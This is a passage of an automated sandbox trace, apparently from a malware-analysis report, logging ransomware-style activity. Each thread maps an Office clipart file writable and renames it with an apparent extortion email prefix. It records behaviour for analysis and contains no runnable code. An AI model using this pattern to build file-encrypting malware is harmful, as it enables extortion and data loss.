	[0096.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099185.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099185.jpg")) returned 1
	[0096.053] free (_Block=0x51f5098) 
	[0096.053] RtlExitUserThread (Status=0x0) 

Thread:
	id = 637
	os_tid = 0x1a6c

	[0096.147] _alloca_probe () returned 0x40328a
	[0096.147] GetCurrentThreadId () returned 0x1a6c
	[0096.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.jpg", dwFileAttributes=0x80) returned 1
	[0096.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcac
	[0096.148] GetFileSizeEx (in: hFile=0xcac, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=16738) returned 1
	[0096.148] CreateFileMappingA (hFile=0xcac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4163, lpName=0x0) returned 0xcb0
	[0096.148] MapViewOfFile (hFileMappingObject=0xcb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.152] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.153] CloseHandle (hObject=0xcb0) returned 1
	[0096.153] GetCurrentThreadId () returned 0x1a6c
	[0096.153] FlushFileBuffers (hFile=0xcac) returned 1
	[0096.155] CloseHandle (hObject=0xcac) returned 1
	[0096.155] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099186.jpg") returned 97
	[0096.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099186.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099186.jpg")) returned 1
	[0096.156] free (_Block=0x51f0070) 
	[0096.156] RtlExitUserThread (Status=0x0) 

Thread:
	id = 638
	os_tid = 0x1a70

	[0096.157] _alloca_probe () returned 0x40328a
	[0096.157] GetCurrentThreadId () returned 0x1a70
	[0096.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.jpg", dwFileAttributes=0x80) returned 1
	[0096.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcb0
	[0096.158] GetFileSizeEx (in: hFile=0xcb0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24528) returned 1
	[0096.158] CreateFileMappingA (hFile=0xcb0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fd0, lpName=0x0) returned 0xcb4
	[0096.158] MapViewOfFile (hFileMappingObject=0xcb4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.163] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.164] CloseHandle (hObject=0xcb4) returned 1
	[0096.164] GetCurrentThreadId () returned 0x1a70
	[0096.164] FlushFileBuffers (hFile=0xcb0) returned 1
	[0096.166] CloseHandle (hObject=0xcb0) returned 1
	[0096.166] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099187.jpg") returned 97
	[0096.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099187.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099187.jpg")) returned 1
	[0096.167] free (_Block=0x51fa0c0) 
	[0096.167] RtlExitUserThread (Status=0x0) 

Thread:
	id = 639
	os_tid = 0x1a74

	[0096.168] _alloca_probe () returned 0x40328a
	[0096.169] GetCurrentThreadId () returned 0x1a74
	[0096.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.jpg", dwFileAttributes=0x80) returned 1
	[0096.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcb4
	[0096.169] GetFileSizeEx (in: hFile=0xcb4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=9080) returned 1
	[0096.169] CreateFileMappingA (hFile=0xcb4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x237f, lpName=0x0) returned 0xcb8
	[0096.169] MapViewOfFile (hFileMappingObject=0xcb8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.172] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.172] CloseHandle (hObject=0xcb8) returned 1
	[0096.172] GetCurrentThreadId () returned 0x1a74
	[0096.172] FlushFileBuffers (hFile=0xcb4) returned 1
	[0096.174] CloseHandle (hObject=0xcb4) returned 1
	[0096.174] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099188.jpg") returned 97
	[0096.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099188.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099188.jpg")) returned 1
	[0096.175] free (_Block=0x51f3088) 
	[0096.175] RtlExitUserThread (Status=0x0) 

Thread:
	id = 640
	os_tid = 0x1a78

	[0096.176] _alloca_probe () returned 0x40328a
	[0096.176] GetCurrentThreadId () returned 0x1a78
	[0096.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.jpg", dwFileAttributes=0x80) returned 1
	[0096.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcb8
	[0096.177] GetFileSizeEx (in: hFile=0xcb8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8076) returned 1
	[0096.177] CreateFileMappingA (hFile=0xcb8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f97, lpName=0x0) returned 0xcbc
	[0096.177] MapViewOfFile (hFileMappingObject=0xcbc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.179] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.179] CloseHandle (hObject=0xcbc) returned 1
	[0096.179] GetCurrentThreadId () returned 0x1a78
	[0096.179] FlushFileBuffers (hFile=0xcb8) returned 1
	[0096.181] CloseHandle (hObject=0xcb8) returned 1
	[0096.182] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099189.jpg") returned 97
	[0096.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099189.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099189.jpg")) returned 1
	[0096.182] free (_Block=0x51f60a0) 
	[0096.182] RtlExitUserThread (Status=0x0) 

Thread:
	id = 641
	os_tid = 0x1a7c

	[0096.183] _alloca_probe () returned 0x40328a
	[0096.184] GetCurrentThreadId () returned 0x1a7c
	[0096.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.jpg", dwFileAttributes=0x80) returned 1
	[0096.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcbc
	[0096.185] GetFileSizeEx (in: hFile=0xcbc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=43892) returned 1
	[0096.185] CreateFileMappingA (hFile=0xcbc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab77, lpName=0x0) returned 0xcc0
	[0096.185] MapViewOfFile (hFileMappingObject=0xcc0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.194] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.194] CloseHandle (hObject=0xcc0) returned 1
	[0096.194] GetCurrentThreadId () returned 0x1a7c
	[0096.194] FlushFileBuffers (hFile=0xcbc) returned 1
	[0096.204] CloseHandle (hObject=0xcbc) returned 1
	[0096.204] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099190.jpg") returned 97
	[0096.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099190.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099190.jpg")) returned 1
	[0096.217] free (_Block=0x51f3088) 
	[0096.217] RtlExitUserThread (Status=0x0) 

Thread:
	id = 642
	os_tid = 0x1a80

	[0096.196] _alloca_probe () returned 0x40328a
	[0096.196] GetCurrentThreadId () returned 0x1a80
	[0096.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.jpg", dwFileAttributes=0x80) returned 1
	[0096.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcc4
	[0096.197] GetFileSizeEx (in: hFile=0xcc4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=62367) returned 1
	[0096.197] CreateFileMappingA (hFile=0xcc4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf3ad, lpName=0x0) returned 0xcc8
	[0096.197] MapViewOfFile (hFileMappingObject=0xcc8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.222] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.223] CloseHandle (hObject=0xcc8) returned 1
	[0096.223] GetCurrentThreadId () returned 0x1a80
	[0096.223] FlushFileBuffers (hFile=0xcc4) returned 1
	[0096.229] CloseHandle (hObject=0xcc4) returned 1
	[0096.229] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099191.jpg") returned 97
	[0096.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099191.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099191.jpg")) returned 1
	[0096.230] free (_Block=0x51f0070) 
	[0096.230] RtlExitUserThread (Status=0x0) 

Thread:
	id = 643
	os_tid = 0x1a84

	[0096.227] _alloca_probe () returned 0x40328a
	[0096.228] GetCurrentThreadId () returned 0x1a84
	[0096.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.gif", dwFileAttributes=0x80) returned 1
	[0096.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcbc
	[0096.229] GetFileSizeEx (in: hFile=0xcbc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=17964) returned 1
	[0096.229] CreateFileMappingA (hFile=0xcbc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4637, lpName=0x0) returned 0xccc
	[0096.229] MapViewOfFile (hFileMappingObject=0xccc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.234] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.234] CloseHandle (hObject=0xccc) returned 1
	[0096.234] GetCurrentThreadId () returned 0x1a84
	[0096.234] FlushFileBuffers (hFile=0xcbc) returned 1
	[0096.236] CloseHandle (hObject=0xcbc) returned 1
	[0096.237] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099192.gif") returned 97
	[0096.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099192.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099192.gif")) returned 1
	[0096.237] free (_Block=0x51f4090) 
	[0096.237] RtlExitUserThread (Status=0x0) 

Thread:
	id = 644
	os_tid = 0x1a88

	[0096.238] _alloca_probe () returned 0x40328a
	[0096.239] GetCurrentThreadId () returned 0x1a88
	[0096.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.gif", dwFileAttributes=0x80) returned 1
	[0096.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xccc
	[0096.239] GetFileSizeEx (in: hFile=0xccc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=35546) returned 1
	[0096.239] CreateFileMappingA (hFile=0xccc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8ae3, lpName=0x0) returned 0xcc4
	[0096.239] MapViewOfFile (hFileMappingObject=0xcc4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.247] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.247] CloseHandle (hObject=0xcc4) returned 1
	[0096.247] GetCurrentThreadId () returned 0x1a88
	[0096.247] FlushFileBuffers (hFile=0xccc) returned 1
	[0096.250] CloseHandle (hObject=0xccc) returned 1
	[0096.250] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099193.gif") returned 97
	[0096.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099193.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099193.gif")) returned 1
	[0096.251] free (_Block=0x51f3088) 
	[0096.251] RtlExitUserThread (Status=0x0) 

Thread:
	id = 645
	os_tid = 0x1a8c

	[0096.337] _alloca_probe () returned 0x40328a
	[0096.338] GetCurrentThreadId () returned 0x1a8c
	[0096.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.gif", dwFileAttributes=0x80) returned 1
	[0096.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcc4
	[0096.338] GetFileSizeEx (in: hFile=0xcc4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=25265) returned 1
	[0096.338] CreateFileMappingA (hFile=0xcc4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62b1, lpName=0x0) returned 0xcd0
	[0096.338] MapViewOfFile (hFileMappingObject=0xcd0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.344] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.344] CloseHandle (hObject=0xcd0) returned 1
	[0096.344] GetCurrentThreadId () returned 0x1a8c
	[0096.344] FlushFileBuffers (hFile=0xcc4) returned 1
	[0096.347] CloseHandle (hObject=0xcc4) returned 1
	[0096.347] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099194.gif") returned 97
	[0096.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099194.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099194.gif")) returned 1
	[0096.348] free (_Block=0x51f4090) 
	[0096.348] RtlExitUserThread (Status=0x0) 

Thread:
	id = 646
	os_tid = 0x1a90

	[0096.465] _alloca_probe () returned 0x40328a
	[0096.466] GetCurrentThreadId () returned 0x1a90
	[0096.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.gif", dwFileAttributes=0x80) returned 1
	[0096.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcd0
	[0096.468] GetFileSizeEx (in: hFile=0xcd0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=19923) returned 1
	[0096.468] CreateFileMappingA (hFile=0xcd0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4dd5, lpName=0x0) returned 0xcd4
	[0096.468] MapViewOfFile (hFileMappingObject=0xcd4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.473] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.473] CloseHandle (hObject=0xcd4) returned 1
	[0096.473] GetCurrentThreadId () returned 0x1a90
	[0096.473] FlushFileBuffers (hFile=0xcd0) returned 1
	[0096.481] CloseHandle (hObject=0xcd0) returned 1
	[0096.481] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099195.gif") returned 97
	[0096.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099195.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099195.gif")) returned 1
	[0096.483] free (_Block=0x51f5098) 
	[0096.483] RtlExitUserThread (Status=0x0) 

Thread:
	id = 647
	os_tid = 0x1a94

	[0096.475] _alloca_probe () returned 0x40328a
	[0096.476] GetCurrentThreadId () returned 0x1a94
	[0096.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.gif", dwFileAttributes=0x80) returned 1
	[0096.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcd8
	[0096.476] GetFileSizeEx (in: hFile=0xcd8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=14337) returned 1
	[0096.476] CreateFileMappingA (hFile=0xcd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3801, lpName=0x0) returned 0xcdc
	[0096.476] MapViewOfFile (hFileMappingObject=0xcdc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0096.480] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0096.480] CloseHandle (hObject=0xcdc) returned 1
	[0096.480] GetCurrentThreadId () returned 0x1a94
	[0096.480] FlushFileBuffers (hFile=0xcd8) returned 1
	[0096.484] CloseHandle (hObject=0xcd8) returned 1
	[0096.485] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099196.gif") returned 97
	[0096.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099196.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099196.gif")) returned 1
	[0096.486] free (_Block=0x51f3088) 
	[0096.486] RtlExitUserThread (Status=0x0) 

Thread:
	id = 648
	os_tid = 0x1a98

	[0096.488] _alloca_probe () returned 0x40328a
	[0096.488] GetCurrentThreadId () returned 0x1a98
	[0096.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.gif", dwFileAttributes=0x80) returned 1
	[0096.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcd0
	[0096.489] GetFileSizeEx (in: hFile=0xcd0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=10898) returned 1
	[0096.489] CreateFileMappingA (hFile=0xcd0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a93, lpName=0x0) returned 0xcdc
	[0096.489] MapViewOfFile (hFileMappingObject=0xcdc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.491] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.492] CloseHandle (hObject=0xcdc) returned 1
	[0096.492] GetCurrentThreadId () returned 0x1a98
	[0096.492] FlushFileBuffers (hFile=0xcd0) returned 1
	[0096.500] CloseHandle (hObject=0xcd0) returned 1
	[0096.500] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099197.gif") returned 97
	[0096.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099197.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099197.gif")) returned 1
	[0096.501] free (_Block=0x51f4090) 
	[0096.501] RtlExitUserThread (Status=0x0) 

Thread:
	id = 649
	os_tid = 0x1a9c

	[0096.496] _alloca_probe () returned 0x40328a
	[0096.496] GetCurrentThreadId () returned 0x1a9c
	[0096.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.gif", dwFileAttributes=0x80) returned 1
